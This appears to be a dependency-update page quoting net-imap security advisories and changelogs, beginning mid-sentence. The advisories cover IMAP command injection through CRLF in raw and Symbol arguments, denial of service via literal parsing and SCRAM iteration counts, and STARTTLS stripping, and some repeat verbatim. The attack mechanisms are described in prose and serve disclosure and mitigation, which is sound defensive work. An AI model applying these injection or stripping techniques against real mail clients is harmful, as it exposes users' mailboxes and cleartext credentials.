net-imapwhich validates#idand#enablearguments.Untrusted inputs should never be used for
#enablearguments.If
net-imapcannot be upgraded:
- do not use untrusted inputs for client ID field values
- or add validation that client ID field values must not contain any CR or LF bytes.
🚨 net-imap has quadratic complexity when reading response literals
Summary
Net::IMAP::ResponseReaderhas quadratic time complexity when reading large responses containing many string literals. A hostile server can send responses which are crafted to exhaust the client's CPU for a denial of service attack.Details
For each literal in a response,
ResponseReaderrescans the entire growing response buffer. The regular expression that is used to scan the response buffer runs in linear time. With many literals, this becomes O(n²) total work. The regular expression should run in constant time: it is anchored to the end and only the last 23 bytes of the buffer are relevant.Because the algorithmic complexity is super-linear, this bypasses protection from
max_response_size: a response can stay well below the default size limit while still causing very large CPU cost.
Net::IMAP::ResponseReaderruns continuously in the receiver thread until the connection closes.Impact
This consumes disproportionate CPU time in the client's receiver thread. A hostile server could use this to exhaust the client's CPU for a denial of service attack.
For a response near the default
max_response_size, each individual regexp scan could take between 100 to 200ms on common modern hardware, and this may be repeated 200k times per megabyte of response. While the regexp is scanning, it retains the Global VM lock, preventing other threads from running.Although other threads should not be completely blocked, their run time will be significantly impacted.
Mitigation
- Upgrade to a patched version of net-imap that reads responses more efficiently.
- Do not connect to untrusted IMAP servers.
- When connecting to untrusted servers, a much smaller
max_response_size(for example: 8KiB) will limit the impact. Although this is too small for fetching unpaginated message bodies, it should be enough for most other operations.
🚨 net-imap vulnerable to denial of service via high iteration count for `SCRAM-*` authentication
Summary
When authenticating a connection with
SCRAM-SHA1orSCRAM-SHA256, a hostile server can perform a computational denial-of-service attack on the client process by sending a big iteration count value.Details
A hostile IMAP server can send an arbitrarily large PBKDF2 iteration count in the SCRAM server-first-message, causing the client to perform an expensive
OpenSSL::KDF.pbkdf2_hmaccall. Because the PBKDF2 function is a blocking C extension and holds onto Ruby’s Global VM Lock, it can freeze the entire Ruby VM for the duration of the computation.OpenSSL enforces an effective maximum by using a 32-bit signed integer for the iteration count, Depending on hardware capabilities and OpenSSL version, this iteration count may be sufficient for to block all Ruby threads in the process for over seven minutes.
This is listed as one of the "Security Considerations", in RFC 7804:
A hostile server can perform a computational denial-of-service attack on clients by sending a big iteration count value. In order to defend against that, a client implementation can pick a maximum iteration count that it is willing to use and reject any values that exceed that threshold (in such cases, the client, of course, has to fail the authentication).
Impact
During SCRAM authentication to a hostile server, the entire Ruby VM will be locked for the duration of the computation. Depending on hardware capabilities and OpenSSL version, this may take many minutes.
OpenSSL::KDF.pbkdf2_hmacis a blocking C function, soTimeoutcannot be used to guard against this. And it retains the Global VM lock, so other ruby threads will also be unable to run.Mitigation
Upgrade to a patched version of
net-imapthat adds themax_iterationsoption to theSASL-*authenticators, and callNet::IMAP#authenticatewith amax_iterationskeyword argument.NOTE: The default
max_iterationsis2³¹ - 1, the maximum signed 32 bit integer, the maximum allowed by OpenSSL.
To prevent a denial of service attack, this must be set to a safe value, depending on hardware and version of OpenSSL.
It is the user's responsibility to enforce minimum and maximum iteration counts that are appropriate for their security context.Alternatively, avoid
SCRAM-*mechanisms when authenticating to untrusted servers.
🚨 net-imap vulnerable to STARTTLS stripping via invalid response timing
Summary
A man-in-the-middle attacker can cause
Net::IMAP#starttlsto return "successfully", without starting TLS.Details
When using
Net::IMAP#starttlsto upgrade a plaintext connection to use TLS, a man-in-the-middle attacker can inject a taggedOKresponse with an easily predictable tag. By sending the response before the client finishes sending the command, the command completes "successfully" before the response handler is registered. This allows#starttlsto return without error, but the response handler is never invoked, the TLS connection is never established, and the socket remains unencrypted.This allows man-in-the-middle attackers to perform a STARTTLS stripping attack, unless the client code explicitly checks
Net::IMAP#tls_verified?.Impact
TLS bypass, leading to cleartext transmission of sensitive information.
Mitigation
- Upgrade to a patched version of net-imap that raises an exception whenever
#starttlsdoes not establish TLS.- Connect to an implicit TLS port, rather than use
STARTTLSwith a cleartext port.
This is strongly recommended anyway:
- RFC 8314: Cleartext Considered Obsolete: Use of Transport Layer Security (TLS) for Email Submission and Access
- NO STARTTLS: Why TLS is better without STARTTLS, A Security Analysis of STARTTLS in the Email Context
- Explicitly verify
Net::IMAP#tls_verified?istrue, before using the connection after#starttls.
🚨 net-imap vulnerable to command Injection via "raw" arguments to multiple commands
Summary
Several
Net::IMAPcommands accept a raw string argument that is sent to the server without validation or escaping. If this string is derived from user-controlled input, it may contain containCRLFsequences, which an attacker can use to inject arbitrary IMAP commands.Details
Net::IMAP's generic argument handling, used by most command arguments, interprets string arguments as an IMAPastring. Depending on the string contents and the connection's UTF-8 support, this encodes strings as either aatom,quoted, orliteral. These are safe from command or argument injection.But the following commands transform specific String arguments to
Net::IMAP::RawData, which bypasses normal argument validation and encoding and prints the string directly to the socket:
#uid_search,#search,#uid_sort,#sort,#uid_thread,#thread
- when
criteriais a String, it is sent raw#uid_fetch, `#fetch
- when
attris a String, it is sent raw- when
attris an Array, each String inattris sent raw#uid_store,#store
- when
attris a String, it is sent raw#setquota:
limitis interpolated with#to_sand that string is sent rawBecause these string arguments are sent without any neutralization, they serve as a direct vector for command splitting. Any user controlled data interpolated into these strings can be used to break out of the intended command context.
Using "raw data" arguments for
#uid_store,#store, and#setquotaI both inappropriate and unnecessary.Net::IMAP's generic argument handling is sufficient to safely validate and encode their arguments. Users of the library probably do not expect arguments to these commands to be sent raw and might not be wary of passing unvalidated input.The API for search criteria and fetch attributes is intentionally low-level and "close to the wire". It allows developers to use some IMAP extensions without requiring explicit support from the library and allows developers to use complex IMAP grammar without complex argument translation. Even so, basic validation is appropriate and could neutralize command injection.
Although this was explicitly documented for search
criteria, it was insufficiently documented for fetchattr. So developers may not have realized that theattrargument to#fetchand#uid_fetchis sent as "raw data".Impact
If a developer passes an unvalidated user-controlled input for one of these method arguments, an attacker can append CRLF sequence followed by a new IMAP command (like DELETE mailbox). Although this does not directly enable data exfiltration, it could be combined with other attack vectors or knowledge of the target system's attributes, e.g.: shared mail folders or the application's installed response handlers.
The SEARCH, STORE, and FETCH commands, and their UID variants are some of the most commonly used features of the library. Applications that build search queries or fetch attributes dynamically based on user input (e.g., mail clients or archival tools) may be at significant risk.
The SORT and THREAD commands and their UID variants also handle their search criteria argument similarly to SEARCH and are subject to the same risk.
Expected use of
Net::IMAP#setquotais much more limited:SETQUOTAis often only usable by users with special administrative privileges. Depending on the server, quota administration might be managed through server configuration rather than via the IMAP protocolSETQUOTAcommand. It is expected to be uncommonly used in system administration scripts or in interactive sessions, it should be completely controlled by trusted users, and should only use trusted inputs. Calling#setquotawith untrusted user input is expected to be a very uncommon use case. Please note however this might be combined with other attacks, for example CSRF, which provide unauthorized access to trusted inputs, and may specifically target users or scripts with administrator privileges.Mitigation
- Update to a patched version of
net-imapwhich:
- validates that
Net::IMAP::RawDatais composed of well-formed IMAPtext,literal, andliteral8values, with no unescapedNULL,CR, orLFbytes.- does not use
Net::IMAP::RawDatafor#store,#uid_store, or#setquota.- Prefer to send search criteria as an array of key value pairs. Avoid sending it as an interpolated string.
- If an immediate upgrade is not possible:
- String inputs to search criteria and fetch attributes can be validated against command injection by checking for
\rand\ncharacters.- Hard-coding the store
attrargument is often appropriate. Alternatively, user controlled inputs can be restricted to a small enumerated list which is valid for the calling application.- Use
Kernel#Integerto coerce and validate user controlled inputs to#setquotalimit.
🚨 net-imap vulnerable to command Injection via unvalidated Symbol inputs
Summary
Symbol arguments to commands are vulnerable to a CRLF Injection / IMAP Command injection via Symbol arguments passed to IMAP commands.
Details
Symbol arguments represent IMAP "system flags", which are formatted as "atoms" (with no quoting) with a
"\"prefix. Vulnerable versions of Net::IMAP sends the symbol name directly to the socket, with no validation.Because the Symbol input is unvalidated, it could contain invalid
flagcharacters, includingSPandCRLF, which could be used to finish the current command and inject new commands.Although IMAP
flagarguments are only valid input for a few IMAP commands, most Net::IMAP commands use generic argument handling, and will allow Symbol (flag) inputs.Note also that the list of valid symbol inputs should be restricted to an enumerated set of standard RFC defined flag types, which have each been given specific defined semantics. Any user-provided values outside of that list of standard "system flags" needs to use the IMAP
keywordsyntax, which are sent as atoms, i.e: string inputs. Under no circumstances should#to_symever be called on unvetted user-provided input: that will always be a bug in the calling code for the simple reason thatuser_input_atomis as\user_input_atom.For forward compatibility with future IMAP extentions, Net::IMAP, does not restrict flag inputs to an enumerated list. That is the responsibility of the calling application code, which knows which flag semantics are valid for its context.
Impact
If a developer passes user-controlled input as a Symbol to most Net::IMAP commands, an attacker can append CRLF sequence followed by a new IMAP command (like
DELETE mailbox).Mitigation
Upgrade to a version of Net::IMAP that validates Symbols are valid as an IMAP
flag.User-provided input should never be able to control calling
#to_symon string arguments.For example, do not unsafely serialize and deserialize command arguments (e.g. with YAML or Marshal) in a way that could create unvetted Symbol arguments.
For the few IMAP commands which do allow
flagarguments, it may be appropriate to hard-code Symbol arguments or restrict them to an enumerated list which is valid for the calling application.
🚨 net-imap has quadratic complexity when reading response literals
Summary
Net::IMAP::ResponseReaderhas quadratic time complexity when reading large responses containing many string literals. A hostile server can send responses which are crafted to exhaust the client's CPU for a denial of service attack.Details
For each literal in a response,
ResponseReaderrescans the entire growing response buffer. The regular expression that is used to scan the response buffer runs in linear time. With many literals, this becomes O(n²) total work. The regular expression should run in constant time: it is anchored to the end and only the last 23 bytes of the buffer are relevant.Because the algorithmic complexity is super-linear, this bypasses protection from
max_response_size: a response can stay well below the default size limit while still causing very large CPU cost.
Net::IMAP::ResponseReaderruns continuously in the receiver thread until the connection closes.Impact
This consumes disproportionate CPU time in the client's receiver thread. A hostile server could use this to exhaust the client's CPU for a denial of service attack.
For a response near the default
max_response_size, each individual regexp scan could take between 100 to 200ms on common modern hardware, and this may be repeated 200k times per megabyte of response. While the regexp is scanning, it retains the Global VM lock, preventing other threads from running.Although other threads should not be completely blocked, their run time will be significantly impacted.
Mitigation
- Upgrade to a patched version of net-imap that reads responses more efficiently.
- Do not connect to untrusted IMAP servers.
- When connecting to untrusted servers, a much smaller
max_response_size(for example: 8KiB) will limit the impact. Although this is too small for fetching unpaginated message bodies, it should be enough for most other operations.
🚨 net-imap vulnerable to denial of service via high iteration count for `SCRAM-*` authentication
Summary
When authenticating a connection with
SCRAM-SHA1orSCRAM-SHA256, a hostile server can perform a computational denial-of-service attack on the client process by sending a big iteration count value.Details
A hostile IMAP server can send an arbitrarily large PBKDF2 iteration count in the SCRAM server-first-message, causing the client to perform an expensive
OpenSSL::KDF.pbkdf2_hmaccall. Because the PBKDF2 function is a blocking C extension and holds onto Ruby’s Global VM Lock, it can freeze the entire Ruby VM for the duration of the computation.OpenSSL enforces an effective maximum by using a 32-bit signed integer for the iteration count, Depending on hardware capabilities and OpenSSL version, this iteration count may be sufficient for to block all Ruby threads in the process for over seven minutes.
This is listed as one of the "Security Considerations", in RFC 7804:
A hostile server can perform a computational denial-of-service attack on clients by sending a big iteration count value. In order to defend against that, a client implementation can pick a maximum iteration count that it is willing to use and reject any values that exceed that threshold (in such cases, the client, of course, has to fail the authentication).
Impact
During SCRAM authentication to a hostile server, the entire Ruby VM will be locked for the duration of the computation. Depending on hardware capabilities and OpenSSL version, this may take many minutes.
OpenSSL::KDF.pbkdf2_hmacis a blocking C function, soTimeoutcannot be used to guard against this. And it retains the Global VM lock, so other ruby threads will also be unable to run.Mitigation
Upgrade to a patched version of
net-imapthat adds themax_iterationsoption to theSASL-*authenticators, and callNet::IMAP#authenticatewith amax_iterationskeyword argument.NOTE: The default
max_iterationsis2³¹ - 1, the maximum signed 32 bit integer, the maximum allowed by OpenSSL.
To prevent a denial of service attack, this must be set to a safe value, depending on hardware and version of OpenSSL.
It is the user's responsibility to enforce minimum and maximum iteration counts that are appropriate for their security context.Alternatively, avoid
SCRAM-*mechanisms when authenticating to untrusted servers.
🚨 net-imap vulnerable to command Injection via unvalidated Symbol inputs
Summary
Symbol arguments to commands are vulnerable to a CRLF Injection / IMAP Command injection via Symbol arguments passed to IMAP commands.
Details
Symbol arguments represent IMAP "system flags", which are formatted as "atoms" (with no quoting) with a
"\"prefix. Vulnerable versions of Net::IMAP sends the symbol name directly to the socket, with no validation.Because the Symbol input is unvalidated, it could contain invalid
flagcharacters, includingSPandCRLF, which could be used to finish the current command and inject new commands.Although IMAP
flagarguments are only valid input for a few IMAP commands, most Net::IMAP commands use generic argument handling, and will allow Symbol (flag) inputs.Note also that the list of valid symbol inputs should be restricted to an enumerated set of standard RFC defined flag types, which have each been given specific defined semantics. Any user-provided values outside of that list of standard "system flags" needs to use the IMAP
keywordsyntax, which are sent as atoms, i.e: string inputs. Under no circumstances should#to_symever be called on unvetted user-provided input: that will always be a bug in the calling code for the simple reason thatuser_input_atomis as\user_input_atom.For forward compatibility with future IMAP extentions, Net::IMAP, does not restrict flag inputs to an enumerated list. That is the responsibility of the calling application code, which knows which flag semantics are valid for its context.
Impact
If a developer passes user-controlled input as a Symbol to most Net::IMAP commands, an attacker can append CRLF sequence followed by a new IMAP command (like
DELETE mailbox).Mitigation
Upgrade to a version of Net::IMAP that validates Symbols are valid as an IMAP
flag.User-provided input should never be able to control calling
#to_symon string arguments.For example, do not unsafely serialize and deserialize command arguments (e.g. with YAML or Marshal) in a way that could create unvetted Symbol arguments.
For the few IMAP commands which do allow
flagarguments, it may be appropriate to hard-code Symbol arguments or restrict them to an enumerated list which is valid for the calling application.
🚨 net-imap vulnerable to command Injection via "raw" arguments to multiple commands
Summary
Several
Net::IMAPcommands accept a raw string argument that is sent to the server without validation or escaping. If this string is derived from user-controlled input, it may contain containCRLFsequences, which an attacker can use to inject arbitrary IMAP commands.Details
Net::IMAP's generic argument handling, used by most command arguments, interprets string arguments as an IMAPastring. Depending on the string contents and the connection's UTF-8 support, this encodes strings as either aatom,quoted, orliteral. These are safe from command or argument injection.But the following commands transform specific String arguments to
Net::IMAP::RawData, which bypasses normal argument validation and encoding and prints the string directly to the socket:
#uid_search,#search,#uid_sort,#sort,#uid_thread,#thread
- when
criteriais a String, it is sent raw#uid_fetch, `#fetch
- when
attris a String, it is sent raw- when
attris an Array, each String inattris sent raw#uid_store,#store
- when
attris a String, it is sent raw#setquota:
limitis interpolated with#to_sand that string is sent rawBecause these string arguments are sent without any neutralization, they serve as a direct vector for command splitting. Any user controlled data interpolated into these strings can be used to break out of the intended command context.
Using "raw data" arguments for
#uid_store,#store, and#setquotaI both inappropriate and unnecessary.Net::IMAP's generic argument handling is sufficient to safely validate and encode their arguments. Users of the library probably do not expect arguments to these commands to be sent raw and might not be wary of passing unvalidated input.The API for search criteria and fetch attributes is intentionally low-level and "close to the wire". It allows developers to use some IMAP extensions without requiring explicit support from the library and allows developers to use complex IMAP grammar without complex argument translation. Even so, basic validation is appropriate and could neutralize command injection.
Although this was explicitly documented for search
criteria, it was insufficiently documented for fetchattr. So developers may not have realized that theattrargument to#fetchand#uid_fetchis sent as "raw data".Impact
If a developer passes an unvalidated user-controlled input for one of these method arguments, an attacker can append CRLF sequence followed by a new IMAP command (like DELETE mailbox). Although this does not directly enable data exfiltration, it could be combined with other attack vectors or knowledge of the target system's attributes, e.g.: shared mail folders or the application's installed response handlers.
The SEARCH, STORE, and FETCH commands, and their UID variants are some of the most commonly used features of the library. Applications that build search queries or fetch attributes dynamically based on user input (e.g., mail clients or archival tools) may be at significant risk.
The SORT and THREAD commands and their UID variants also handle their search criteria argument similarly to SEARCH and are subject to the same risk.
Expected use of
Net::IMAP#setquotais much more limited:SETQUOTAis often only usable by users with special administrative privileges. Depending on the server, quota administration might be managed through server configuration rather than via the IMAP protocolSETQUOTAcommand. It is expected to be uncommonly used in system administration scripts or in interactive sessions, it should be completely controlled by trusted users, and should only use trusted inputs. Calling#setquotawith untrusted user input is expected to be a very uncommon use case. Please note however this might be combined with other attacks, for example CSRF, which provide unauthorized access to trusted inputs, and may specifically target users or scripts with administrator privileges.Mitigation
- Update to a patched version of
net-imapwhich:
- validates that
Net::IMAP::RawDatais composed of well-formed IMAPtext,literal, andliteral8values, with no unescapedNULL,CR, orLFbytes.- does not use
Net::IMAP::RawDatafor#store,#uid_store, or#setquota.- Prefer to send search criteria as an array of key value pairs. Avoid sending it as an interpolated string.
- If an immediate upgrade is not possible:
- String inputs to search criteria and fetch attributes can be validated against command injection by checking for
\rand\ncharacters.- Hard-coding the store
attrargument is often appropriate. Alternatively, user controlled inputs can be restricted to a small enumerated list which is valid for the calling application.- Use
Kernel#Integerto coerce and validate user controlled inputs to#setquotalimit.
🚨 net-imap vulnerable to STARTTLS stripping via invalid response timing
Summary
A man-in-the-middle attacker can cause
Net::IMAP#starttlsto return "successfully", without starting TLS.Details
When using
Net::IMAP#starttlsto upgrade a plaintext connection to use TLS, a man-in-the-middle attacker can inject a taggedOKresponse with an easily predictable tag. By sending the response before the client finishes sending the command, the command completes "successfully" before the response handler is registered. This allows#starttlsto return without error, but the response handler is never invoked, the TLS connection is never established, and the socket remains unencrypted.This allows man-in-the-middle attackers to perform a STARTTLS stripping attack, unless the client code explicitly checks
Net::IMAP#tls_verified?.Impact
TLS bypass, leading to cleartext transmission of sensitive information.
Mitigation
- Upgrade to a patched version of net-imap that raises an exception whenever
#starttlsdoes not establish TLS.- Connect to an implicit TLS port, rather than use
STARTTLSwith a cleartext port.
This is strongly recommended anyway:
- RFC 8314: Cleartext Considered Obsolete: Use of Transport Layer Security (TLS) for Email Submission and Access
- NO STARTTLS: Why TLS is better without STARTTLS, A Security Analysis of STARTTLS in the Email Context
- Explicitly verify
Net::IMAP#tls_verified?istrue, before using the connection after#starttls.
Release Notes
0.6.6
What's Changed
Fixed
- 🐛 Fix incorrect regexp for testing if string is quotable by @nevans in #723
This bug was introduced by v0.6.5 as part of #712.
It causes some valid string arguments (which should be sent as IMAPliteralvalues) to raise aDataFormatErrorexception (without sending).Full Changelog: v0.6.5...v0.6.6
0.6.5
What's Changed
Added
- 🧵 Add thread join timeout to
#disconnectby @nevans in #689- ✨ Add
#utf8_enabled?by @nevans in #715- ✨ Remember set of enabled server capabilities by @nevans in #716
Adds#enabledand#enabled?methods.Fixed
- 🥅 Fix premature tagged response guard for IDLE by @nevans in #688
- 🥅 Test for NULL bytes before sending string args by @nevans in #712
- 🐛 Use literal syntax for invalid UTF8 or non-UTF8 strings by @nevans in #713
Other Changes
- 🧵🥅 Reraise receiver thread errors with caller's backtrace by @nevans in #691
- 🧵🥅 Reraise
#starttlsreceiver thread errors with caller's backtrace by @nevans in #711- ♻️ Extract InvalidTaggedResponseError error by @nevans in #687
- 🧵 Refactor thread synchronization for sending commands by @nevans in #692
- 🧵Refactor receive responses thread sync by @nevans in #694
- ♻️ Extract
handle_responsefromreceive_responsesby @nevans in #695Miscellaneous
- 🔀 Merge v0.6.4.1 patches by @nevans in #702
- Fix flaky test_starttls_stripping_ok_sent_before_response by @hsbt in #709
- ⬆️ Bump actions/checkout from 6 to 7 by @dependabot[bot] in #708
- ✅⚡ Faster tests by @nevans in #714
- Pin simplecov version by @nobu in #717
- simplecov-{html,json} have been incorporated in SimpleCov 1.0.0 by @nobu in #718
- ⬆️ Bump step-security/harden-runner from 2.19.4 to 2.20.0 by @dependabot[bot] in #719
- ✅ Fix issues with simplecov v1.0 upgrade by @nevans in #721
Full Changelog: v0.6.4.1...v0.6.5
0.6.4.1
What's Changed
🔒 Security
This release fixes several more security vulnerabilities which are related to the fixes in
v0.6.4. Please see the linked security advisories for more information.
- (moderate) Command Injection via non-synchronizing literal in "raw" argument (CVE-2026-47240, GHSA-8p34-64r3-mwg8)
This vulnerability depends how the server interprets non-synchronizing literals.
The connection is not vulnerable if the server supports non-synchronizing literals.- (moderate) Command Injection via unvalidated ID and ENABLE arguments (CVE-2026-47242, GHSA-46q3-7gv7-qmgg)
- (low) Denial of Service via incomplete "raw" argument validation (CVE-2026-47241, GHSA-c4fp-cxrr-mj66)
This results in the affected command hanging until the connection is closed. If another thread attempts to send a concurrent pipelined command, the first thread will return with a syntax error and the second thread will hang until the connection closes.Added
Fixed
- 🔧 Disallow
config.max_non_synchronizing_literal = nilby @nevans in #672- 🧵 Fix deadlock in
#disconnectby @nevans in #686- 🥅 Validate that Atom and Flag are not empty by @nevans in #684
Documentation
Other Changes
- 🏷️ Allow 64-bit Integer arguments by @nevans in #675
- 🥅 Ensure send_number_data input is an Integer by @nevans in #676
- ♻️ Improve
RawData.new, AddRawData.splitby @nevans in #679- 🏷️ Less strict number string coercion, to match RFCs by @nevans in #680
- 🥅 Validate response literal byte size format by @nevans in #681
Miscellaneous
- ⬆️ Bump step-security/harden-runner from 2.19.0 to 2.19.1 by @dependabot[bot] in #673
- ✅ Improvements to tests' FakeServer by @nevans in #678
- ⬆️ Bump step-security/harden-runner from 2.19.1 to 2.19.3 by @dependabot[bot] in #682
- ⬆️ Bump step-security/harden-runner from 2.19.3 to 2.19.4 by @dependabot[bot] in #683
Full Changelog: v0.6.4...v0.6.4.1
0.6.4
What's Changed
🔒 Security
This release contains fixes for multiple vulnerabilities concerning
STARTTLSstripping, argument validation, and denial of service attacks.Warning
#664 fixes a
STARTTLSstripping vulnerability (GHSA-vcgp-9326-pqcp).
Without this fix, a man-in-the-middle attacker can causeNet::IMAP#starttlsto return "successfully", without starting TLS.Important
Argument validation is significantly improved. Several injection vulnerabilities have been fixed:
#657 fixes CRLF/command/argument injection via Symbol arguments (GHSA-75xq-5h9v-w6px).
#658 fixes CRLF/command/argument injection via theattrargument to#store/#uid_store(GHSA-hm49-wcqc-g2xg)
#659 fixes CRLF/command/argument injection via thestorage_limitargument to#setquota(GHSA-hm49-wcqc-g2xg).
#660 fixes CRLF/command injection viaRawData(GHSA-hm49-wcqc-g2xg):
#searchand#uid_searchsendcriteriaas raw data, when it is a String#fetchand#uid_fetchsendattras raw data, when it is a String.
Whenattris an Array, its String members are sent as raw data.Caution
RawDatadoes not defend against other forms of argument injection! It is an intentionally low-level API.Note
Two denial of service vulnerabilities have been addressed.
These are generally only relevant when connecting to an untrusted hostile server (or without TLS).#642 fixes quadratic time complexity when reading large responses containing many string literals (GHSA-q2mw-fvj9-vvcw).
#654 adds a configurablemax_iterationscount forSCRAM-*authentication (GHSA-87pf-fpwv-p7m7).The default
ScramAuthenticator#max_iterationsis2**31 - 1(max 32-bit signed int), which was already OpenSSL's maximum value. It provides no protection against hostile servers unless it is explicitly set to a lower value by the user.Breaking Changes
- ⚡
ResponseReadermemoizesConfig#max_response_sizein #642.
Changes to#max_response_sizenow take effect once per response, not on everyIO#read.
NOTE: It is not expected that this will affect any current usage. See the PR for details.Added
- ✨ Support
BINARYextention to#append(RFC3516) by @nevans in #616- ✨ Support
LITERAL+andLITERAL-non-synchronizing literals (RFC7888) by @nevans in #649- 🔒 Add
ScramAuthenticator#max_iterationsby @nevans in #654- 🏷️ Add
number64andnz-number64to NumValidator by @nevans in #625- ♻️ Add
MailboxQuota#quota_rootalias by @nevans in #636- 🔍 Simplify
Net::IMAP#inspectwith basic state by @nevans in #612- 🥅 Add
ResponseParseError#parser_methods(and override#==) by @nevans in #615Fixed
- 🔒 Fix STARTTLS stripping vulnerability in #664, reported by @Masamuneee
- Argument validation, reported by @manunio
- ⚡ Much faster ResponseReader performance by @nevans in #642
- 🥅 Successfully parse invalid response code data by @nevans in #614
- Fix JRuby SSL connection failure: use
SSLContext#setupinstead of#freezeby @idahomst in #627- 🐛 Fix InvalidResponseError in
#get_tagged_responseby @nevans in #633- Pass an Exception to #raise by @eregon in #643
- 🐛 Fix empty
SearchResult#to_sequence_setin #644, reported by @Quintasan- 🐛 Wait to continue RawData literals by @nevans in #660
Documentation
- 📚 Fix rdoc 7.2 compatibility (section bugfix) by @nevans in #617
- 📚 Switch back to rdoc's darkfish generator (🚧TMP) by @nevans in #618
- 📚 Use
.documentand.rdoc_optionsfiles, where possible by @nevans in #619- Update README example: Expunge is implicit in MOVE by @sebbASF in #623
- 📚️ Fix QUOTA documentation by @nevans in #636
- 📚 Minor documentation fixes by @nevans in #638
- 📚 Improve documentation of RawData arguments by @nevans in #661
Other Changes
- Handle deep response recursion as ResponseParseError by @Masamuneee in #629
Miscellaneous
- ✅ Fix typo in FakeServer (tests only) by @nevans in #620
- ⬆️ Bump step-security/harden-runner from 2.14.2 to 2.15.0 by @dependabot[bot] in #621
- Bump step-security/harden-runner from 2.15.0 to 2.15.1 by @dependabot[bot] in #626
- ⬆️ Bump step-security/harden-runner from 2.15.1 to 2.16.0 by @dependabot[bot] in #628
- ⬆️ Bump actions/configure-pages from 5 to 6 by @dependabot[bot] in #635
- ✅ Test
#setquotaby @nevans in #636- ⬆️ Bump actions/deploy-pages from 4 to 5 by @dependabot[bot] in #634
- ⬆️ Bump step-security/harden-runner from 2.16.0 to 2.17.0 by @dependabot[bot] in #639
- Test TruffleRuby release in CI for improved stability by @eregon in #640
- ⬆️ Bump actions/upload-pages-artifact from 4 to 5 by @dependabot[bot] in #646
- ⬆️ Bump step-security/harden-runner from 2.17.0 to 2.19.0 by @dependabot[bot] in #647
New Contributors
- @sebbASF made their first contribution in #623
- @idahomst made their first contribution in #627
- @Masamuneee made their first contribution in #629
- @eregon made their first contribution in #640
Full Changelog: v0.6.3...v0.6.4
0.6.3
What's Changed
Added
- 🥅 Add parser state and
#detailed_messagetoResponseParseErrorby @nevans in #599- 🔧 Add
Config#overrides?(opposite of#inherited?) by @nevans in #610- 🔧 Add recursive
Config#inherits_defaults?by @nevans in #611Fixed
- 🐛 Parse
resp-textwith invalidresp-text-codeby @nevans in #601- 🐛
Config.version_defaultsshould be read only by @nevans in #594Other Changes
- 🥅 Only print parser debug for unhandled errors by @nevans in #600
- ♻️ Don't hardcode parser deprecation warning uplevel by @nevans in #602
- ♻️ Simplify
Config::AttrAccessorsa little by @nevans in #606- ♻️ Set Config[:default] as alias of Config[VERSION] by @nevans in #608
Fixes for unreleased code:
- 🐛 Return ResponseText from
resp-textfallback by @nevans in #605- 🐛 Fix parse error parser_backtrace (for ruby <= 3.3) by @nevans in #604
Miscellaneous
- Delete test/net/imap/test_data_lite.rb by @nobu in #593
- ⬆️ Bump step-security/harden-runner from 2.14.0 to 2.14.1 by @dependabot[bot] in #596
- Bump step-security/harden-runner from 2.14.1 to 2.14.2 by @dependabot[bot] in #598
Full Changelog: v0.6.2...v0.6.3
0.6.2
What's Changed
Fixed
- 🐛 Fix
SequenceSet#delete?(num..num)to return set by @nevans in #583- 🐛 Fix
#responses()freezing internal arrays by @nevans in #587, reported by @yurikoval in #581Full Changelog: v0.6.1...v0.6.2
0.6.1
What's Changed
Fixed
Miscellaneous
- ⬆️ Bump step-security/harden-runner from 2.13.3 to 2.14.0 by @dependabot[bot] in #579
Full Changelog: v0.6.0...v0.6.1
0.6.0
What's Changed
Breaking Changes
- 🔧 Update default config for
v0.6by @nevans in #539
responses_without_blockchanged from:warnto:frozen_dupparser_use_deprecated_uidplus_datachanged from:up_to_max_sizetofalse(and is deprecated)parser_max_deprecated_uidplus_data_sizechanged from100to0(and is deprecated)- 🔥 Use psych (>= 5.2.5) for encoding Data objects by @nevans in #543
This changes the YAML tag forDatasubclasses fromruby/object:Net::IMAP::DataSubclasstoruby/data:Net::IMAP::DataSubclass. YAML dumped by earliernet-imapversions may not load correctly. Psych >= 5.2.5 is required to dump these objects correctly.- 💥 Require ruby >= 3.2 (drop support for 3.1) by @nevans in #538
- 💥✨ Change
SequenceSet#sizeto count*and repeated numbers by @nevans in #564
SequenceSetis used to represent both sorted sets and ordered lists (which may contain duplicates). Members are non-zero UInt32 numbers, but"*"has special meaning as "the number corresponding to the last mailbox entry". So there are four different ways to count the members of aSequenceSet.
Previously,#sizewas an alias for#count. Now it differs in both relevant aspects.
*is a unique member*is treated like 2³² - 1distinct set members #cardinality#countordered list, including duplicates #size#count_with_duplicates- 🔥 Remove deprecated UIDPlusData class by @nevans in #540
UIDPlusDatawas deprecated by v0.5.6.AppendUIDDataorCopyUIDDatawill always be returned instead.- 🔥 Delete deprecated
MessageSetby @nevans in #573
MessageSetwas deprecated by v0.5.0. UseSequenceSetinstead.- 💥 Do not include
OpenSSLandOpenSSL::SSLmodules intoNet::IMAPby @nevans in #533
This only affects the ability to use OpenSSL constants from theNet::IMAPnamespace.- 💥 Don't set
verify_callbacktoVerifyCallbackProcby @nevans in #534
This functionality was never documented and is redundant with theverify_callbackoption.Deprecated
- Deprecated config options for UIDPlusData in #540
Theparser_use_deprecated_uidplus_dataandparser_max_deprecated_uidplus_data_sizeconfig options will be removed in v0.7.0. They are kept for backward compatibility, but they do not affect response parser results. Whenparser_use_deprecated_uidplus_datais changed from the default value (false), deprecation warnings are printed when parsingAPPENDUIDorCOPYUIDresponse codes.Added
- 🔒 Add
when_capabilities_cachedoption forConfig#sasl_irby @nevans in #561Net::IMAP::ConfigimprovementsNet::IMAP::SequenceSetimprovements
- ✨ Add
SequenceSet#intersect!for in-place setANDby @nevans in #549- ✨ Add
SequenceSet#xor!for in-place setXORby @nevans in #550- ♻️ Coalesce entries in
SequenceSet#appendby @nevans in #553- ✨ Add
SequenceSet#normalized?by @nevans in #558- ✨ Add
SequenceSet#cardinalitymethod by @nevans in #563- 💥✨ Change
SequenceSet#sizeto count*and repeated numbers by @nevans in #564Net::IMAP::NumValidatorimprovementsDocumentation
- 📚 Improve rdoc example for
#uid_fetchwithpartialby @nevans in #532- 📚 Document SearchResult/ESearchResult compatibility by @nevans in #559
- 📚 Minor rdoc formatting fixes by @nevans in #560
Other Changes
- 🔥 Drop
Datapolyfill by @nevans in #541
This was only used for ruby 3.1, which is no longer supported. So this is not considered a breaking change.- ♻️ Refactor Config.versioned_defaults to reduce merge conflcts by @nevans in #544
- Improved
Net::IMAP::SequenceSetperformance
- ⚡️ Don't memoize
SequenceSet#stringon normalized sets by @nevans in #554- ⚡ Faster
SequenceSet#normalizewhen frozen by @nevans in #556- ⚡️ Faster
SequenceSet#full?by @nevans in #565- ⚡️ Slightly faster
